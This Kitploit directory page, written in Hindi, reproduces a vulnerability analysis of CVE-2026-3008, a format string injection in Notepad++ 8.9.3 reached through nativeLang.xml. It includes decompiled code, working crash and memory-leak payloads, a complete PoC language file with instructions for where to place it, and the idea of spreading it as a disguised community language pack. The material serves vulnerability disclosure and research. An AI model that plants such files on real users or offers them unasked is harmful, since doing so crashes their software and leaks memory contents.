Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-3008 — CVE-2026-3008 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Notepad++ 8.9.3 में nativeLang.xml के माध्यम से एक फॉर्मेट स्ट्रिंग इंजेक्शन है, जिससे सेवा से इनकार (denial of service) और सूचना प्रकटीकरण (information disclosure) संभव होता है। | Kitploit
उपकरण/GitHubGitHub/llgsjsm/cve-2026-3008
भेद्यता विश्लेषणशोषणवेब सुरक्षामालवेयर विश्लेषणबाइनरी विश्लेषण
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

CVE-2026-3008 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो Notepad++ 8.9.3 में nativeLang.xml के माध्यम से एक फॉर्मेट स्ट्रिंग इंजेक्शन है, जिससे सेवा से इनकार (denial of service) और सूचना प्रकटीकरण (information disclosure) संभव होता है।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-3008 — Notepad++ 8.9.3 में nativeLang.xml के माध्यम से फॉर्मेट स्ट्रिंग इंजेक्शन

भेद्यता

जब कोई खोज ऑपरेशन परिणाम उत्पन्न करता है, sub_1400916C0 हिट काउंट लेबल को फॉर्मेट करता है, जिसमें nativeLang.xml से एक स्थानीयकृत स्ट्रिंग प्राप्त की जाती है और उसे सीधे wsprintfW को फॉर्मेट स्ट्रिंग के रूप में पास किया जाता है:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // स्थानीयकृत स्ट्रिंग प्राप्त करें
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: हीप पॉइंटर
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 फॉर्मेट स्ट्रिंग है

यह स्ट्रिंग nativeLang.xml में <find-result-hits> विशेषता से उत्पन्न होती है, और डेटा प्रवाह में किसी भी बिंदु पर कोई सत्यापन नहीं होता:

root@kitploit:~
nativeLang.xml
  → TinyXML पार्सर          (XML विशेषता पढ़ता है, कोई सामग्री सत्यापन नहीं)
  → NativeLangSpeaker       (UTF-8 → UTF-16 रूपांतरण, कोई सत्यापन नहीं)
  → sub_140099E60           ($INT_REPLACE$ प्रतिस्थापन — फॉर्मेट स्पेसिफायर बचे रहते हैं)
  → wsprintfW(buf, v38)     (v38 को फॉर्मेट स्ट्रिंग तर्क के रूप में उपयोग किया जाता है, डेटा के रूप में नहीं)

wsprintfW को केवल दो तर्कों के साथ कॉल किया जाता है — कोई वैरिएडिक डेटा तर्क नहीं। v38 में कोई भी फॉर्मेट स्पेसिफायर x64 कॉलिंग कन्वेंशन के तर्क स्लॉट (R8, R9, स्टैक) से मान पढ़ते हैं, जिनमें बचा हुआ रजिस्टर कचरा होता है।


प्रभावित घटक

फ़ील्डमान
फ़ंक्शनsub_1400916C0 (फाइंड रिजल्ट्स पैनल इनिशियलाइज़र)
सिंक पता0x140091E6D
ट्रिगरकोई भी खोज जो परिणाम उत्पन्न करती है (फाइंड ऑल, फाइंड इन फाइल्स, मार्क ऑल, रिप्लेस ऑल)

sub_1400916C0 को फाइंडरिजल्ट्स WndProc (sub_140089BF0) में चार स्थानों से कॉल किया जाता है:

पताट्रिगर
0x14008B63Bफाइंड इन फाइल्स
0x14008B72Dकरंट / ऑल डॉक्यूमेंट्स में फाइंड ऑल
0x14008B97Eरिप्लेस ऑल
0x14008B9FEमार्क ऑल

प्रभाव

क्रैश — %s (DoS)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

प्रत्येक %s एक जंक रजिस्टर या स्टैक मान को WCHAR* पॉइंटर के रूप में व्याख्या करता है। पहला अमान्य पता तुरंत एक्सेस उल्लंघन (STATUS_ACCESS_VIOLATION, 0xC0000005) ट्रिगर करता है। दुर्भावनापूर्ण फ़ाइल हटाए जाने तक Notepad++ हर बाद की खोज पर क्रैश होता है — विश्वसनीय, एक-शॉट DoS।

सूचना प्रकटीकरण — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

स्टैक और रजिस्टर सामग्री को DWORD मानों के रूप में पढ़ा जाता है और हेक्स के रूप में फॉर्मेट किया जाता है, जो फाइंड रिजल्ट्स पैनल टैब में दिखाई देता है। लाइव परीक्षण से देखा गया आउटपुट:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

5852bb18 और 7b1052e0 जैसे मान छोटे किए गए 64-बिट पॉइंटर अंश हैं।

शोषण की सीमा

wsprintfW (user32.dll) %n का समर्थन नहीं करता — कोई राइट-व्हाट-व्हेयर प्रिमिटिव नहीं है। इसकी हार्डकोडेड 1024-वर्ण आउटपुट सीमा गंतव्य बफर आकार से बिल्कुल मेल खाती है, जो हीप बफर ओवरफ्लो को खारिज करती है। भेद्यता की पुष्टि DoS + सूचना प्रकटीकरण के रूप में होती है। इस अकेले फॉर्मेट स्ट्रिंग के माध्यम से कोड निष्पादन प्राप्त नहीं किया जा सकता।


हमला वेक्टर

nativeLang.xml डिफ़ॉल्ट रूप से मौजूद नहीं होता — अंग्रेज़ी भाषा के इंस्टॉलेशन प्रभावित नहीं होते। जब कोई उपयोगकर्ता सेटिंग्स → प्रेफरेंसेस → जनरल → लोकलाइज़ेशन के माध्यम से गैर-अंग्रेज़ी भाषा चुनता है, तो Notepad++ संबंधित फ़ाइल को यहाँ लिखता है:

संस्करणपथ
इंस्टॉलर%APPDATA%\Notepad++\nativeLang.xml
पोर्टेबल<npp_directory>\nativeLang.xml

शिप किए गए 94 लोकलाइज़ेशन फ़ाइलों में से, 43 में <find-result-hits> तत्व होता है। उन भाषाओं के उपयोगकर्ता कमजोर हैं यदि उनका nativeLang.xml छेड़छाड़ किया गया हो — उदाहरण के लिए, फ़ोरम या डाउनलोड साइटों के माध्यम से वितरित दुर्भावनापूर्ण सामुदायिक भाषा पैक के माध्यम से। हमलावर अन्य सभी स्ट्रिंग्स के लिए वैध अनुवाद शामिल कर सकता है, जिससे फ़ाइल सामान्य दिखाई दे।


प्रूफ ऑफ कॉन्सेप्ट

निम्नलिखित फ़ाइल को <npp_directory>\nativeLang.xml (पोर्टेबल) या %APPDATA%\Notepad++\nativeLang.xml (इंस्टॉलर) पर रखें, फिर Notepad++ खोलें और कोई भी खोज करें जो परिणाम उत्पन्न करती है (Ctrl+F → करंट डॉक्यूमेंट में फाइंड ऑल)।

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

परिणाम: Notepad++ wsprintfW में एक्सेस उल्लंघन के साथ तुरंत क्रैश हो जाता है।

अतिरिक्त पेलोड वेरिएंट payloads/ निर्देशिका में हैं।

टूल डाउनलोड करें